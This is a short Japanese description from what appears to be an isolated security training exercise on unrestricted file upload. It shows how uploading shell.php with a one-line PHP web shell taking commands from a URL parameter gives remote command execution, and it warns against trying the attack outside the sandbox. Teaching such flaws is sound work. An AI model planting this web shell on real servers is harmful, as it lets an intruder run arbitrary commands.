アップロードしたファイルを公開ディレクトリに保存する。対策OFFでは拡張子を検証しないため、 <?php system($_GET['c']); ?> を含む shell.php を上げて URLで開くと、サーバー上でコマンドが実行される(Webシェル)。
<?php system($_GET['c']); ?>
shell.php
この演習環境は外部通信不可・使い捨て・座席分離で隔離されている(SPEC R-3)。 攻撃手法は演習環境の外で絶対に試さないこと。
7967da599b3f